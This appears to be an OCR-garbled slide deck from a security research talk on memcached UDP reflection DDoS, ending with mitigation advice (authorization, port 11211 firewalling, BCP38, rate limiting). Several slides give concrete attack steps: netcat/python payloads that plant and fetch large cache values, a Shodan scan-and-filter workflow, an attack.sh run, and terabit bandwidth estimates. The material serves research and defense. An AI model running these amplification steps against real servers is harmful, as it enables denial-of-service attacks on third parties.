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How to generate 2TB/s reflection DDoS data flow via a family network
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J’  Whythis talk?

About DRDoS

DRDoS by memcache

DDOS the real world

Mitigation and conclusion



About DRDOS




¢’  How DRDOS works

I
IP spoofed
requests
i rA EA UDP Servers
"legitimate" I I
responses l




f How to measure

= PPS ( packets per second )
= BPS ( bits per second )

= BPS == Amplifiers * Amplification Factor (1)
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Frequency of Protocols Used for Reflection

®NTP
- CharGEN UDP Reflection And
Q.81 Amplification Attacks

“RiPv1 Types and Percentage
¥ Quake Network Protocol |n Recente weeks.
= DAP Data from 360 Netlab.
BDNS

Ch;rlc‘;‘EN | SSDP
® Portmap (RPCbind)
®Kad
®SNMPv2

¥ Steam Protocol
" Multicast DNS (mDNS)
“NetBIOS

BitTorrent




Measure Amplification Factor

BitTorrent 3.8x

NetBIOS

Multicast DNS (mDNS)
Steam Protocol
SNMPv2

Kad

Portmap (RPCbind) N 28X
ssoP I 30X

DNs I 54
LDAP

Quake Network Protocol
RIPv1
QOTD
CharGEN [ 358.8x
NTP e 556.9x
Memcache I ? ? ?
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A

Number of Amplifiers

Protocol Amplifiers Tech. t1k t100%k
SNMP v2 4.832.000 Scan 1.5s 148.9s
NTP 1,451,000 Scan 2.0s 195.1s
DNSns 255,819 Crawl 35.3s 3530.0s
DNSor 7,782,000 Scan 0.9s 02.5s
NetBios 2,108,000 Scan 3.4s 341.5s
SSDP 3,704,000 Scan 1.9s 193.5s
CharGen 89,000 Scan 80.6s n/a
QOTD 32.000 Scan 228.2s n/a
BitTorrent 5,066,635 Crawl 0.9s 63.6s
Kad 232,012 Crawl 0.9s 108.0s
Quake 3 1.059 Master 0.6s n/a
Steam 167,886 | Master 1.3s I 37.E|
ZAv?2 27,939 Crawl 1.3s n/a
Sality 12,714 Crawl 4.7s n/a
Gameover 2.023 Crawl 168.5s n/a




f Tips to Increase BPS

= Common UDP service
= The biggest reflect parameter on service

= Increase server to send fake UDP packet



Memcached




About memcached and
risk

ollo

Protocols Business use Access
U DP support Gbps Network Unauthorized




Which case can cause a big

reflection in memcached?

python -c " stats\"\n"" Inc -nvvu
10.105.16.119 11211 > /imp/null

(UNKOWN)[10.105.16.119] 11211 (?) open
AC sent 16, rcvd 1263

1263/16=78.94



@%@@ Memcached Reflection power

Insert data

import memcache

mc = memcache.Client([’ , =True)
mc.set('xah',s,90000)

Test UDP read

:~# python -c "print '\0\x01\0\0\0\x01\0\0get xah\r\n'" |nc -nvvu 10.10
5.16.119 11211 >test
(UNKNOWN) [10.105.16.119] 11211 (?) open

“C sent 18, rcvd 565600




Deep in Memcached
Reflection power

o

:~# python -c "print '\0\x01\0\0\0\x01\0\0get xae\r\n'" .
(UNKNOWN) [16.105.16.119] 11211 (?) open Max_
~“C sent 18, rcvd 816200

:~# python -c "print '\0\x01\0\0\0\x01\0\0get xae\r\n'" Send 18 rCVd 81 6200

(UNKNOWN) [10.105.16.119] 11211 (?) open
~“C sent 18, rcvd 628600
:~# python -c "print '\0\x01\0\0\0\x01\0\0get xae\r\n'" Zlfi:B‘l‘l

(UNKNOWN) [10.105.16.119] 11211 (?) open
~“C sent 18, rcvd 382099

:~# python -c "print '\0\x01\0\0\0\x01\0\0get xae\r\n'"
(UNKNOWN) [16.105.16.119] 11211 (?) open M|n
~“C sent 18, rcvd 410200 .

:~# pyth -c "print '\0\x01\0\0\0\x01\0\0get \r\n""
(UNKNOWN) [10?105?26.&19?r12211 (?T open ) 77 ESEBT](j 1 23 r(3\/Cj 232322()€)S9

~“C sent 18, rcvd 565600
:~# python -c "print '\0\x01\0\0\0\x01\0\0get xae\r\n'" 21227
(UNKNOWN) [10.105.16.119] 11211 (?) open
~“C sent 18, rcvd 714000
:~# python -c "print '\0\x01\0\0\0\x01\0\0get xae\r\n'"
(UNKNOWN) [10.105.16.119] 11211 (?) open
~“C sent 18, rcvd 658000




Deep in Memcached

Reflection power

python -c "print
""Inc -nvvu 10.105.16.119 11211 >/
tmp/null

tcpdump -i eth0 udp port 11211 -W mem. pcap

360sec@kuaizhao > -la mem.pca
-rw-r--r-- 1 root root 28295168 Oct 19 10:26 mem.pcap

360sec@kuaizhao > -h mem. pcap

28M mem. pcap
360sec@kuaizhao




Deep in Memcached

Reflection power

python -c "print

python -c "print



%  Exploit

Unauthorized UDP Distributed
Amplificatio Cooperatio
n n

Inject cache




DDOS the world




" SHODAN _ Q Explore Downloads Reports Enterprise Access Contact Us

& My Account

memcache

Search for returned 116,534 results on 31-10-2017

Top Countries

1. United States 38,982
2. China 25,958
3. Hong Kong 5117
4. France 4,803
5. Japan 3,901
6. India 3,223
7. Netherlands 3,042
8. Russian Federation 2,875
9. Germany 2,609

10. Canada 2,559




In two or three columns

Scan

Port scan with default
port in Memcached.
11211( TCP & UDP)

Grab

Banner grab with
packet to identify the
unauthorized
Memcached

tcpdump -vv udp port
11211

Filter

Filter out the
unauthorized
Memcached with
reflection power



One Vulnerable Random to DDOS 500mb/s

Speedometer 2.8 | [root@kuoizhao v2]# cat sss

1192 = t.34
| [root@kudizhao v2]# bash attack.sh 192 .. 34
Inohup: ignoring input and appending output to ‘nohup.
Inohup: ignoring input and appending output to ‘nohup.
Inohup: ignoring input and appending output to ‘nohup.
Inohup: ignoring input and appending output to ‘nohup.
Inohup: ignoring input and appending output to ‘nohup.
|
|

89.5 MiB/s |

- |
I[23] 0:bash* 7 N\ "kuaizhao.sec.corp.qiho" 10:48 31-Oct-1
I
|
|
1ip-172-26-29 =
R
!
|
|
|
|
I
1TX: cum: ob

[ RX: 2.51GB 663Mb
|Device eth® [172.26.25.22] (2/8):
|
| Incoming:
36.4 KiB/s 36.7 KiB/s40.0 KiB/s I S
25.6 KiB/s

HHHHHBRRRUHAHARRR

BRBHBRRRRRBBRBERY

BUBHEBRRRRBBERERR

BUBHUBRRRRBHRURRR

HRBHBRRRRRBBBBERY

BRBHEBRRRBBBRAERY

HHHEHEHEREE. Curr: 492.11 MBit/s
HHHHHEHEERRRE  Avg: 16.44 MBit/s
TR Min: 5.26 kBit/s
THHHHHHHEHHEE Max: 786.08 MBit/s
HHHEHHHHERHEREE. TEL: 128.85 GByte

6.76 KiB/s

2.24 KiB/s
1.73 KiB/s
- - B

316.73 kBit/s
1 222.37 kBit/s
: 183.09 kBit/s
: 194.80 MBit/s

|
|
|
|
|
I
|
|
|
|
|
10utgoing:
|
|
|
|
|
|
|
|
|
|
|
RX: eth® 65.4 MiB/s 71.9 MiB/s 2.12 MiB/s TX: eth® 38.7 KiB/s 38.9 KiB/s 730 KiB/s|.. .. : 4701.85 GByte







f 1=0.5 GBit/s

Just “gets z z Z2”

@ Over 50,000

After simple filter(at least)

- -1272? Gbit/s

How about use “getszzzzzzzzz2z2"?




DNS SNMP NTP SSDP

Attacks at DEFCON 14 attack at MIT CloudFlare reports CloudFlare reports
@ @
2013 Mar 2013 Aug 2014 Oct
@ L L L @
2006 2013 May
@ @ @
DNS DNS SSDP

3 mH : .
attack SpamHaus attack against GreenNet Akamai reports

Timeline of amplification attacks and related events



f Make a simple calculation

The bandwidth is up to amplifiers :

max < 25000 * 100m =2500000m =2.384 T



Mitigation & conclusion




Asn Infomation

GoDaddy.com, LLC

Choopa, LLC

Comvive Servidores S.L.

GMO Internet,Inc

China Telecom (Group)

IDC, China Telecommunications Corporation
Online S.a.s.

SoftLayer Technologies Inc.

Alibaba (China) Technology Co., Ltd.

Amazon.com, Inc.

China Unicom Beijing Province Network

Hetzner Online GmbH

Linode, LLC

CHINA UNICOM Chinal69 Backbone

SAKURA Internet Inc.

No.31,Jin-rong Street

Shenzhen Tencent Computer Systems Company Limited
Digital Ocean, Inc.

OVH SAS

Hangzhou Alibaba Advertising Co.,Ltd.

‘ 1583
R 2029
I 2686
I 10984

1 10 100 1000 10000 100000



Location Infomation

Netherlands

4%

Russia
4%

United States
18%

¥ United States
" France
“Japan
¥ Russia
B Netherlands
B Germany
® United Kingdom
B Canada
®Vietham
®|ndonesia
B Singapore
® Brazil
" Ukraine
" Spain

India
" Turkey
" Korea
B ithuania
® Thailand



f Memcached

Authorization

Properly configured



Network Mitigation

Measures

Firewall udp 11211
ISP never allow IP spoofing bcp38

Rate Limit inbound UDP source port 11211
traffic

Isolation ACL


http://www.bcp38.info/index.php/Main_Page

THANKS!

Any questions?

You can find us at g-Okee @360.cn



